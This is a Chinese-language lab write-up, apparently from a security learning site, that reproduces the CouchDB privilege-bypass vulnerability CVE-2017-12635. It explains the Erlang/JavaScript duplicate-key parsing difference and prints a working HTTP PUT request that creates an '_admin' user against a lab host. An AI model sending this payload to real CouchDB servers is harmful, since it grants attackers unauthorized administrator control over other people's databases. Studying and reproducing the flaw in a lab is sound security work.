跳转至

Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞

couchdb简介:

  • Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”。它是一个使用JSON作为数据存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。

漏洞原理:

  • CVE-2017-12635:Erlang和JavaScript,对JSON解析方式的不同,导致语句执行产生差异性。这个漏洞可以让**任意用户创建管理员**,属于垂直权限绕过漏洞。

  • 举例:

Erlang: > jiffy:decode(``"{"``a``":"``1``", "``a``":"``2``"}"``). {[{<<``"a"``>>,<<``"1"``>>},{<<``"a"``>>,<<``"2"``>>}]}

JavaScript:

> JSON.parse("{"a":"1", "a": "2"}")

{a: "2"}

影响版本:

  • 小于 1.7.0 以及 小于 2.1.1

复现:

  • 构造创建用户的数据包
  • 1
  • 绕过role验证:
  • payload:
  • PUT /_users/org.couchdb.user:vulhub HTTP/1.1``Host: 192.168.183.134:5984``Accept: */*``Accept-Language: en``User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)``Connection: close``Content-Type: application/json``Content-Length: 110 {`` ``"type"``: ``"user"``,`` ``"name"``: ``"vulhub"``,`` ``"roles"``: [``"_admin"``],`` ``"roles"``:[],`` ``"password"``: ``"vulhub111"``}

2

一些小思考:

  • 虽然分析说,只读取第一个键值,按理来说,第二个值是任意的应该不影响,但我测试发现,只有为空时,poc才正确操作。

3

  • 且在创建一个成功后,再重复发包,也会报错409,
  • 修改已创建的密码也不行

4